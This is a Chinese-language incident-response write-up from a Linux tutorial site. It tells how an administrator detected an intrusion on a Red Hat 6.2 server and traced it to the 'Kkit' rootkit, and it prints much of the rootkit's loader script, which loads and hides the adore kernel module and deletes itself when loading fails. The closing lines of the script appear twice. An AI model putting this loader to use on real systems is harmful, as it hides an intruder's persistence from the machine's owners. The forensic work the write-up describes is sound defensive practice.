歡迎來到Linux教程網
Linux教程網
Linux教程網
Linux教程網
您现在的位置: Linux教程網 >> UnixLinux >  >> Linux綜合 >> Linux資訊 >> 更多Linux

一次入侵檢查

一次入侵檢查 by liz 一. 發現 前兩天裝了一個Redhat 6.2,因為懶,系統開了FTP和telnet服務之後就沒再管過,平時扔在那裡做個ftp中轉站。 前日,朋友告訴我機器的ftp不能匿名登錄了,很是納悶,登上去nmap一下,發現不對了: [liz]$ nmap 127.0.0.1 Port State Service 21/tcp open ftp 23/tcp open telnet 111/tcp open sunrpc 113/tcp open auth 看看網絡情況: [liz]$ netstat -an Active Internet connections (servers and established) Proto Recv-Q Send-Q Local Address Foreign Address State tcp 0 0 0.0.0.0:21 0.0.0.0:* LISTEN tcp 0 0 0.0.0.0:23 0.0.0.0:* LISTEN tcp 0 138 a:23 b:1122 ESTABLISHED hoho,竟然沒有,難道netstat被替換掉了? 看看RPM校驗: [liz]$ rpm -qf /bin/netstat net-tools-1.54-4 [liz]$ rpm -V net-tools 什麼都沒有,似乎...netstat沒有問題,難道加載了llkm? [liz]$ lsmod Module Size Used by 空的(系統本身沒有加載lkm),module隱藏了? 是不是杞人憂天啊?看看系統有什麼改變沒有? [liz]$ cat /var/log/message Aug 9 00:05:54 FTP_test PAM_pwdb[889]: (login) session opened for user liz by (uid=0) Aug 9 00:07:34 FTP_test PAM_pwdb[889]: (login) session closed for user liz Aug 9 00:07:34 FTP_test inetd[483]: pid 888: exit status 1 Aug 9 00:39:51 FTP_test inetd[483]: pid 919: exit status 1 Aug 9 04:02:00 FTP_test anacron[979]: Updated timestamp for job `cron.daily'to 2001-08-09 Aug 9 06:28:48 FTP_test inetd[483]: extra conf for service 19/tcp (skipped) Aug 11 11:50:32 FTP_test PAM_pwdb[608]: (login) session opened for user liz by (uid=0) 嘻嘻,發現問題了:怎麼大半夜裡我的帳號還在用?還有,9號到11號之間竟然沒有任何記錄?雖然我的機器利用率不高,可crond總還是在跑的吧,連這個都沒有,顯然顯然... 再看看wtmp記錄: [liz]$ strings /var/log/wtmp ... ftpd748 pts/0 ftpd786 @ftp pd950c097.dip.t-dialin.net ftpd786 pts/0 ... ftpd14698 @ftp pd950ef94.dip.t-dialin.net ftpd14698 pts/0 .... ftpd15200 @ftp 211.178.18.15 ftpd15200 挺熱鬧的嘛,當然了,不足為證。 忘了忘了,最重要的: [liz]$ w USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT liz pts/0 b 10:58am 0.00s 0.11s ? - 只有我一個,也就這個log正常了。 現在可以肯定,系統有人進來了。 比較麻煩,靜下心來想一想...... 一個cracker,找到一個redhat 6.2的漏洞,比如說wu-ftp2.6 漏洞,很順利的(5555...沒面子)拿到root權限,上載一些東東,加載llkm,隱藏相應的進程、目錄和llkm,然後留一個後門(姑且是111或/和113端口的了),擦腳印,撤。 恩,典型的攻擊方式,很符合系統的記錄,可是留下 痕跡1:wtmp裡pd950ef94.dip.t-dialin.net兩次來我的機子,而且時間相差甚遠(看ftpd號),又是撥號用戶,也許不是他,可是我現在抓不到人,錯抓一個也比一個沒有強,算他倒霉了,*_^。


痕跡2:message裡擦腳印也不高明點,一股腦刪,唉。 痕跡3:好端端的給我機器開幾個服務,也不找個高明點的後門,不是明擺著讓我去查嘛。 痕跡4,5,6...:待查,呵呵 好了,既然他加載了llkm,rc裡勢必要留下點什麼,要不然機器一重起,llkm沒了就完了。 可是rc裡那麼多,我一個一個查,還不累死啊? 偷個懶,md5一下。 [liz]$ md5sum 慢著.......,現在系統不能相信了,md5sum也不例外,找個干淨的cp過來md5。 [liz]$ ftp... .... [liz]$ /usr/bin/md5sum /etc/inittab > /tmp/md5.txt [liz]$ cd /etc/rc.d [liz]$ /usr/bin/md5sum `find `pwd` -type f` >> /tmp/md5.txt 再找個干淨的機器造個相同的文件md5.txt1 diff一下: [liz]$ diff /tmp/md5.txt /tmp/md5.txt1 > result.txt 經過詳細和漫長(麼?)的比較,並去除鏈接和以K開頭的文件,終於發現兩個不一樣: /etc/rc.d/rc.loacl /etc/rc.d/init.d/syslog 懶得自己去看,還是diff吧,取干淨的rc.local和syslog過來 diff的結果: 干淨的rc.local忘記注釋issue那部分了,無妨無妨 syslog: < /bin/rkup & ^_^,檢測工作結束,拔掉網線,睡覺。 二. 分析 找到cracker加載的位置,以下就好辦了: [liz]$ cat /bin/rkup #!/bin/sh # Kkit by r41n (c) 2000 RKPATH=/usr/lib/.rain ... # Loads and hides knark ... # Hides files ... /bin/kload &>/dev/null 呵呵,原來是knark啊,順勢看看kload,找到如下文件: /bin/rkup /bin/kload /usr/lib/.rain目錄下: .: bot home lkm ssh ./bot: c0r3 emech ./bot/c0r3: c0r3 ls: ./bot/emech: Permission denied ./home: ./lkm: adore.o ava modhide.o src ./lkm/src: adore.c ava.c config libinvisible.c libinvisible.h modhide.c ./ssh: ssh_host_key ssh_random_seed sshd.pid sshd_config sshdchk sshdx 經過仔細的(又來了...)分析,終於弄明白大部分是作什麼用的: 入侵的cracker似乎叫r41n,這些東東都是他自己寫的rootkit kkit裡的,從這幾個地方可以看到: (當然或許是個全盤照抄的cracker也不一定) [liz]$ cat /bin/rkup #!/bin/sh # Kkit by r41n (c) 2000 ... [liz]$ cat /usr/lib/.rain/home/.bashrc ... echo " Welcome r41n! Enjoy Kkit by r41n!" echo -n " 0wn3d: Thu Aug 9 06:42:38 HKT 2001 " ... 而且可以看到,這個cracker還把系統攻破的時間記下來,跟前邊分析的幾個log出現問題的時間一致。 從分析的結果看,r41n的這個kkit用的還是knark的思想,又針對一些具體情況做了改動。cracker用的主目錄/usr/lib/.rain還是knark風格的,實在沒創意。 以下是各個文件作用的分析: /bin/rkup: ---------start------------ #!/bin/sh # Kkit by r41n (c) 2000 RKPATH=/usr/lib/.rain PATH=... # Loads and hides knark if [ "$1" != "kit" ]; then depmod -a &>/dev/null insmod $RKPATH/lkm/adore.o &>/dev/null

T=`lsmod grep "adore"` if [ ! "$T" ]; then # echo "cant load .. recompile" >/test cd $RKPATH/lkm/src ./config ./compile if [ -e adore.o ]; then cp -f adore.o .. &>/dev/null cp -f modhide.o .. &>/dev/null cp -f ava .. &>/dev/null rm -f *o &>/dev/null rm -f ava &>/dev/null rm -f compile &>/dev/null # echo "ok recompiled... loading!" >>/test else rm -rf /usr/lib/.rain &>/dev/null rm -rf /bin/rkup &>/dev/null rm -rf /bin/kload &>/dev/null echo "#!/bin/sh" >/bin/rkup echo "# r41n was here..." >>/bin/rkup chmod +x /bin/rkup # echo "cant recompile! OUT!" >>/test exit fi insmod $RKPATH/lkm/adore.o &>/dev/null T=`lsmod grep "adore"` if [ ! "$T" ]; then rm -rf /usr/lib/.rain &>/dev/null rm -rf /bin/rkup &>/dev/null rm -rf /bin/kload &>/dev/null echo "#!/bin/sh" >/bin/rkup echo "# r41n was here..." >>/bin/rkup chmod +x /bin/rkup # echo "cant load after recompile! OUT!" >>/test exit fi fi # echo "LOADED OK!!!" >>/test insmod $RKPATH/lkm/modhide.o &>/dev/null fi #



# echo "LOADED OK!!!" >>/test insmod $RKPATH/lkm/modhide.o &>/dev/null fi #



Copyright © Linux教程網 All Rights Reserved